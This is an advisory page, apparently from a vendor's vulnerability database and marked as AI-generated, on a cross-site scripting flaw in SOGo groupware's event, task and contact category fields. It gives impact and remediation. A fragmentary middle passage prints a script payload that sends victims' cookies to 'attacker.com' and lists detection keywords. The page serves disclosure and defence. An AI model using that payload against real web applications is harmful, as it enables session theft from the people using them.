
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2025-71276 is a Cross-Site Scripting (XSS) vulnerability in SOGo, an open-source groupware server developed by Alinto, affecting all versions before 5.12.5. The flaw exists in the handling of events, tasks, and contacts categories, where user-supplied input is not properly sanitized before being rendered in web pages. It was published on March 22, 2026, with a patch committed to the official GitHub repository shortly after. The vulnerability carries a CVSS v3.1 base score of 6.1 (Medium) (Feedly, GitHub Commit).
The root cause is improper neutralization of user input during web page generation (CWE-79), specifically in the request content parsing logic for events (UIxAppointmentEditor.m), tasks (UIxTaskEditor.m), contacts (UIxContactEditor.m), and contact lists (UIxListEditor.m). In the vulnerable code, JSON request body content was parsed directly via objectFromJSONString without first stripping HTML injection sequences; the fix applies stringWithoutHTMLInjection: before JSON parsing to sanitize the input. The attack vector is network-based and requires user interaction (a victim must view or interact with the maliciously crafted calendar/contact entry), but requires no privileges on the part of the attacker in some scoring interpretations (GitHub Commit, Feedly).
Successful exploitation allows an attacker to inject and execute malicious scripts in the browser context of other SOGo users who view the crafted events, tasks, or contacts. This can result in theft of session cookies, unauthorized actions performed on behalf of victims, and exposure of sensitive groupware data such as calendar entries and contact information. The scope is changed (cross-origin impact), with low confidentiality and integrity impact and no direct availability impact (Feedly).
There is no public proof-of-concept exploit code and no evidence of in-the-wild exploitation as of the time of disclosure (Feedly). The EPSS score is approximately 0.029%, indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. No threat actor attribution has been reported.
"categories": ["<script>document.location='https://attacker.com/steal?c='+document.cookie</script>"]).<script>, onerror, javascript:) in the request body.The primary remediation is to upgrade SOGo to version 5.12.5 or later, which applies stringWithoutHTMLInjection: sanitization to request content before JSON parsing in all affected editors (GitHub Commit). As interim measures, restrict SOGo access to trusted internal networks where possible, and implement Content Security Policy (CSP) headers to limit the impact of any XSS execution. Administrators should also review existing events, tasks, and contacts for suspicious HTML or script content in category fields (Feedly).
Coverage of CVE-2025-71276 has been limited to automated vulnerability tracking platforms and aggregators such as ENISA's EUVD, CIRCL's vulnerability database, and Tenable's Nessus plugin repository (plugin 303301). A brief technical post was published at infinitsec.net shortly after disclosure. No significant vendor statements beyond the patch commit, notable researcher commentary, or broad media coverage have been identified (Feedly, Tenable).
Fix availability across major Linux distributions and their releases.
bookworm
sogo: 5.8.0-2+deb12u3
sid
sogo: 5.12.6-1
trixie
sogo: 5.12.1-3+deb13u2
bionic (esm-apps)
sogo: 3.2.10-1ubuntu0.1~esm1
devel
sogo
focal (esm-apps)
sogo: 4.3.0-1ubuntu0.1~esm1
jammy
sogo
jammy (esm-apps)
sogo: 5.5.1-1ubuntu0.1~esm1
resolute
sogo
resolute (esm-apps)
sogo: 5.12.4-1.2ubuntu0.1~esm1
xenial (esm-apps-legacy)
sogo
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."